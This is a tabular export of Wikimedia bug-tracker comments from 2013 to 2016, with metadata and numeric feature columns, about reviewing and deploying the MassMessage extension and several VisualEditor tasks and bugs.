+Hah! I just came here to write pretty much the same comment. Brilliant. Thank you, Lego.
+
+Testing is underway (cf. [[testwiki:Special:Log/massmessage]]) and feedback has started to come in (cf. [[m:Talk:MassMessage]]).",,,1380652159,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+251337,Review and deploy MassMessage extension to Wikimedia wikis,"Some updates:
+
+MassMessage was successfully deployed to test and test2 today (thanks Reedy!). I did a few simple tests making sure everything worked fine (https://test.wikipedia.org/w/index.php?title=Special%3ALog&type=massmessage&user=Legoktm&page=&year=&month=-1&tagfilter=&hide_patrol_log=1&hide_review_log=1&hide_thanks_log=1)
+
+MZMcBride has sent out a message to people who currently use EdwardsBot on enwiki and meta asking them to test it on testwiki and provide feedback (https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Spam&oldid=5895864).
+
+We're still waiting on comments from Fabrice/Howie/Terry (bug 35306 comment 20).
+
+[[mw:Help:Extension:MassMessage]] has documentation on how an administrator would use the special page to send out a message. [[m:MassMessage]] has also been created.",,,1380607500,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+251333,Review and deploy MassMessage extension to Wikimedia wikis,"After a couple of updates, it all looks ok from the security side.",,,1380131839,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,12,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+251329,Review and deploy MassMessage extension to Wikimedia wikis,"Err, I mean, after Chris S gives the all clear, security-review-wise: https://bugzilla.wikimedia.org/show_bug.cgi?id=52723#c16",,,1380044491,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,12,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+251324,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #18)
+> (In reply to comment #17)
+> > There was a request to see if this extension would make sense as an
+> > improvement to Notifications/Echo. This discussion would probably be good to
+> > have with the WMF product team (maybe including Fabrice, Terry, and Howie).
+> 
+> This already took place at bug 35306.
+
+Right, so, I'm deferring judgement on that (and related) conversations to Terry C and Howie F right now. More on why below...
+
+> > I'll default to defer for now, until that conversation happens.
+> 
+> I don't know what this means. Can you clarify?
+
+Mostly, I brought this (deploying MassMessage) up in a Deployment updates meeting, and there was some push back from a product view. In short: ""shouldn't this functionality be built into something like Echo?"" So, I won't go around them and deploy MassMessage everywhere until that conversation is settled (for some value of ""settled"").
+
+Now, what we should do is deploy MassMessage somewhere so you/others can test its functionality on a WMF production-like site. Let's get this out to test2.wikipedia this Thursday. Filed bug 54518 for that.",,,1380044416,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,12,,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+251319,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #17)
+> There was a request to see if this extension would make sense as an
+> improvement to Notifications/Echo. This discussion would probably be good to
+> have with the WMF product team (maybe including Fabrice, Terry, and Howie).
+
+This already took place at bug 35306.
+
+> I'll default to defer for now, until that conversation happens.
+
+I don't know what this means. Can you clarify?",,,1379779756,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+251312,Review and deploy MassMessage extension to Wikimedia wikis,"There was a request to see if this extension would make sense as an improvement to Notifications/Echo. This discussion would probably be good to have with the WMF product team (maybe including Fabrice, Terry, and Howie).
+
+I'll default to defer for now, until that conversation happens.",,,1379703587,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+251304,Review and deploy MassMessage extension to Wikimedia wikis,"Just an update, I'm still working on the review. There were a few bits that looked odd as I was testing, so I'd like to dig into those before giving the all clear. Should be able to get that finished on Monday.",,,1379649523,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,11,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+251298,Review and deploy MassMessage extension to Wikimedia wikis,"I just spent a few minutes talking with Chris who said he would be able to do a security review of the extension this week.
+
+Currently waiting for a few patches to be reviewed and then I'll send an email to wikitech-l.",,,1379462355,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,11,,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+251291,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #11)
+> (In reply to comment #9)
+> >> Not sure this is relevant as this extension isn't really user-facing, but if
+> >> you want to find someone to review the design, go for it.
+> > 
+> > Well, for some definition of user, right? It has sysop user facing UI. For a
+> > design review, the Design mailing list is a good place to start (and then
+> > ping until success).
+> 
+> Lego: please go ahead and e-mail the design mailing list (include a working
+> demo of the tool, of course). If they have constructive feedback, wonderful.
+> Otherwise, I don't consider this a blocker to deployment.
+> 
+
+Email sent to design list: http://lists.wikimedia.org/pipermail/design/2013-September/000923.html",,,1379461042,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,11,,1,1,0,0,1,1,1,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+251286,Review and deploy MassMessage extension to Wikimedia wikis,CC'ing Dan Garry (new Platform PM). No action needed Dan (yet ;) ). Just using this as a way to remind us to talk about this work and how you'll interface with it.,,,1379002862,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+251281,Review and deploy MassMessage extension to Wikimedia wikis,"The goal is to get this extension deployed (to phase 0 wikis) by the end of September. I'm not sure if this will be possible, but I've tentatively added it to the deployments calendar for September 30: <https://wikitech.wikimedia.org/w/index.php?diff=83188&oldid=83134#Near_term>.
+
+Lego: feel free to move the date into October if necessary.",,,1378777053,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+251276,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #9)
+>> Not sure this is relevant as this extension isn't really user-facing, but if
+>> you want to find someone to review the design, go for it.
+> 
+> Well, for some definition of user, right? It has sysop user facing UI. For a
+> design review, the Design mailing list is a good place to start (and then
+> ping until success).
+
+Lego: please go ahead and e-mail the design mailing list (include a working demo of the tool, of course). If they have constructive feedback, wonderful. Otherwise, I don't consider this a blocker to deployment.
+
+>> Greg: how do we get this extension reviewed for architecture/performance and
+>> security?
+> 
+> First pass would be to send a note to wikitech-l asking for help.
+> Unfortunately, this week is a combined Tech Days and All Hands so WMF tech
+> staff will be slower to respond than normal, but I know you know who to ping
+> as needed (Aaron/Tim for arch, Chris for security).
+
+Lego: please go ahead and e-mail wikitech-l asking for a review once you're ready and you've done your best to ensure that the extension is in a reviewable state. Test rigorously!
+
+If you could cross-reference these two mailing list posts on this bug, that would be wonderful.
+
+> Well, if there are any userfacing bits (even for non-mortals), then it'd be
+> good to have a walk-through of how the extension is supposed to work/what the
+> process is. Think of it as a required bit of user documentation :)
+
+If you write docs about how to create one of these mythical screencasts, I'll consider it. In the meantime, over a decade of development has progressed without these being a requirement. We're not going to start with this extension. :-)
+
+>>> Community support: no?
+>> 
+>> Yes, plenty of it.
+> 
+> Awesome. I believe you, but would appreciate links to where discussion has
+> happened.
+
+This request is a blocker to bug 35306. It falls outside the requirement for community consensus as it's an obvious and uncontroversial enhancement request; it is replacing a non-production, largely unsupported tool (i.e., the Python script that currently powers [[m:Global message delivery]]); and it has limited exposure (only admins will have access by default, and even most admins won't use this tool... for now).
+
+Bug 35306 gives most of the background here, but it's probably reasonable for me to point out that many (if not most) global message deliveries are connected to Wikimedia Foundation staff. The targets lists at [[m:Global message delivery/Targets]] comprise hundreds (maybe thousands) of users who have signed up for various newsletters and other mailings, in addition to a number of distribution lists used by Wikimedia volunteers and staff (including technical announcements and other breaking changes announced to [[m:Distribution list/Global message delivery]]). You could consider this a third or fourth exemption to the community consensus guideline, if you'd like. ;-)",,,1378776753,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,10,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+251269,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #9)
+> > 
+> > > Community support: no?
+> > 
+> > Yes, plenty of it.
+> 
+> Awesome. I believe you, but would appreciate links to where discussion has
+> happened.
+
+Long wanted feature to not have to have bots making tens/thousands of edits onwiki. Not sure a discussion par se would have happened.. (if one has, great)
+
+To users, it really doesn't matter where it comes from.",,,1378768971,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1
+251266,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #8)
+> Thanks for writing out a checklist.
+
+:)
+
+> (In reply to comment #7)
+> > == TODO/Check list ==
+> > Extension page on mediawiki.org: yes
+> > Bugzilla component: yes
+> > Extension in Gerrit: yes
+> 
+> Right.
+> 
+> > Design Review: no
+> 
+> Not sure this is relevant as this extension isn't really user-facing, but if
+> you want to find someone to review the design, go for it.
+
+Well, for some definition of user, right? It has sysop user facing UI. For a design review, the Design mailing list is a good place to start (and then ping until success).
+
+> 
+> > Architecture/Performance Review: no
+> > Security Review: no
+> 
+> These are the two areas needed here.
+> 
+> Greg: how do we get this extension reviewed for architecture/performance and
+> security?
+
+First pass would be to send a note to wikitech-l asking for help. Unfortunately, this week is a combined Tech Days and All Hands so WMF tech staff will be slower to respond than normal, but I know you know who to ping as needed (Aaron/Tim for arch, Chris for security).
+
+> 
+> > Screencast (if applicable): no
+> 
+> Not sure what this is about. It seems irrelevant.
+
+Well, if there are any userfacing bits (even for non-mortals), then it'd be good to have a walk-through of how the extension is supposed to work/what the process is. Think of it as a required bit of user documentation :)
+
+> 
+> > Community support: no?
+> 
+> Yes, plenty of it.
+
+Awesome. I believe you, but would appreciate links to where discussion has happened.",,,1378768315,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,10,,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+251262,Review and deploy MassMessage extension to Wikimedia wikis,"Thanks for writing out a checklist.
+
+(In reply to comment #7)
+> == TODO/Check list ==
+> Extension page on mediawiki.org: yes
+> Bugzilla component: yes
+> Extension in Gerrit: yes
+
+Right.
+
+> Design Review: no
+
+Not sure this is relevant as this extension isn't really user-facing, but if you want to find someone to review the design, go for it.
+
+> Architecture/Performance Review: no
+> Security Review: no
+
+These are the two areas needed here.
+
+Greg: how do we get this extension reviewed for architecture/performance and security?
+
+> Screencast (if applicable): no
+
+Not sure what this is about. It seems irrelevant.
+
+> Community support: no?
+
+Yes, plenty of it.",,,1378423432,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,9,,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+251258,Review and deploy MassMessage extension to Wikimedia wikis,"Hello, this is a quasi-automated-but-not-really message:
+
+I am reviewing all tracking bugs for extensions to review and deploy to WMF servers. See the list here:
+https://bugzilla.wikimedia.org/showdependencytree.cgi?id=31235&hide_resolved=1
+
+The [[mw:Review queue]] page lists the steps necessary to complete the review. I have copied them below and done some initial filling out based on what I can easily gleen from this bug and any linked to sources that are obvious. If I miss something/state something false, please do correct me.
+
+Also, if you haven't yet done so, please review the information on and linked to from:
+https://www.mediawiki.org/wiki/Writing_an_extension_for_deployment
+
+
+== TODO/Check list ==
+Extension page on mediawiki.org: yes
+Bugzilla component: yes
+Extension in Gerrit: yes
+Design Review: no
+Archeticecture/Performance Review: no
+Security Review: no
+Screencast (if applicable): no
+Community support: no?",,,1378415175,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,9,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,0,1,1,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1
+251253,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #5)
+> Hi Legoktm, I see that http://www.mediawiki.org/wiki/Extension:MassMessage
+> exists but where is its bugtracker? See
+> https://www.mediawiki.org/wiki/Bug_management/Project_Maintainers#To_add_a_project_or_component
+
+Filed as bug 52730.",,,1376239786,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1
+251246,Review and deploy MassMessage extension to Wikimedia wikis,"Hi Legoktm, I see that http://www.mediawiki.org/wiki/Extension:MassMessage exists but where is its bugtracker? See https://www.mediawiki.org/wiki/Bug_management/Project_Maintainers#To_add_a_project_or_component",,,1376238095,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,True,,,5,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0
+251240,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #1)
+> (see [[meta:User talk:EdwardsBot/Archive 1#LQT compatibility]])
+The correct link is [[User talk:EdwardsBot/Archive 1#LQT compatibility]].",,,1376235918,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+251235,Review and deploy MassMessage extension to Wikimedia wikis,"For reference: <https://gerrit.wikimedia.org/r/#/q/project:mediawiki/extensions/MassMessage+status:open,n,z>.",,,1376229430,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+251229,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #1)
+> Does it have the same problem as the global message delivery system on wikis
+> which use LiquidThreads?
+> (see [[meta:User talk:EdwardsBot/Archive 1#LQT compatibility]])
+
+The real bug is that those wikis are still using LiquidThreads. :-)
+
+But if you want to add a dependency bug about MassMessage supporting LiquidThreads, it shouldn't be too painful to code.",,,1376228263,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+251221,Review and deploy MassMessage extension to Wikimedia wikis,"Does it have the same problem as the global message delivery system on wikis which use LiquidThreads?
+(see [[meta:User talk:EdwardsBot/Archive 1#LQT compatibility]])",,,1376224547,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+54713,Enable VisualEditor on se.wikimedia.org,"The Swedish chapter would like to get the VisualEditor enabled on their wiki at se.wikimedia.org. 
+
+Poll here: http://se.wikimedia.org/wiki/Tråd:Wikimedia:Bybrunnen/VisualEditor_och_Notifications
+
+/Jan
+CEO
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Medium,50.0,1376178900,1386022170.0,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,False,PHID-TASK-sflxt54msumq4ifieh2r,task_description,resolved,True,c1,3,False,False,False,5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+250311,Enable VisualEditor on se.wikimedia.org,"This is now live - you can opt in to test VisualEditor using the Beta Features link in your personal tools at the top of the page, or through the Preferences link in the ""Beta Features"" tab.
+
+If there are any issues, please shout!",,,1386022170,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sflxt54msumq4ifieh2r,task_subcomment,,True,c1,3,True,,,22,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+250307,Enable VisualEditor on se.wikimedia.org,"Change 97714 merged by jenkins-bot:
+Enable VisualEditor as opt-in on Swedish Wikimedia
+
+https://gerrit.wikimedia.org/r/97714",,,1386021563,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sflxt54msumq4ifieh2r,task_subcomment,,True,c1,3,False,,,22,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+250303,Enable VisualEditor on se.wikimedia.org,"Change 97714 had a related patch set uploaded by Jforrester:
+Enable VisualEditor as opt-in on Swedish Wikimedia
+
+https://gerrit.wikimedia.org/r/97714",,,1385464058,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sflxt54msumq4ifieh2r,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+54675,"VisualEditor: In Firefox's High Contrast mode, buttons on the toolbar are unidentifiable","en.wp user Cryptic C62 reports that using Firefox with Windows Vista ""high contrast"" mode renders VE entirely unusable:
+
+""Using Windows Vista, press Shift + Alt + Print Screen to activate ""high contrast"" mode. Open VE in Firefox. Weep uncontrollably (see screenshot).""
+
+Screenshot: [[File:VE High Contrast.jpg]]
+
+
+It is worth noting that, when using the high contrast extension for Chrome, the interface is fully visible in every setting. Hooray!
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Medium,50.0,1376068440,1459916766.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-caadsxn4xg5gmxrpn6kz,False,PHID-TASK-gysdgpu4licxwvxxosg3,task_description,invalid,True,c1,3,False,False,False,5,,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+623831,"VisualEditor: In Firefox's High Contrast mode, buttons on the toolbar are unidentifiable",id call this an OS bug...,,,1457161240,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-gysdgpu4licxwvxxosg3,task_subcomment,,True,c1,3,True,,,139,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+623816,"VisualEditor: In Firefox's High Contrast mode, buttons on the toolbar are unidentifiable","Visual Editor in Windows 7 High Contrast Mode in Firefox 44 {F3524565}
+
+Google.com in Microsoft's very own Internet Explorer 11
+{F3524580}
+
+Microsoft.com in IE 11 at High Contrast Mode on Windows 7 
+{F3524584}
+
+Given those examples I highly question how many people **are actually able to use //any website with this functionality at all//** in its current implementation?! Seems poorly conceived. 
+@Jdforrester-WMF  If nobody is opposing that in a reasonable time frame (30 days?) I'd recommend closing this task as ""invalid"".",,,1457147578,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-gysdgpu4licxwvxxosg3,task_subcomment,,True,c1,3,True,,,139,,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,0
+54667,VisualEditor: Welcome dialog doesn't expand/scroll to fit large fonts,"When a user has a larger font size than defualt, or a non-default font then the welcome dialog (the one controlled by the ve-beta-welcome-dialog cookie) doesn't expand or scroll to accommodate the extended length of the message and the text is cropped.
+
+Screenshot at [[File:WARNINGforVE.png]]
+
+This might be another example of bug 52602 but I'm not certain.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52602
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51755
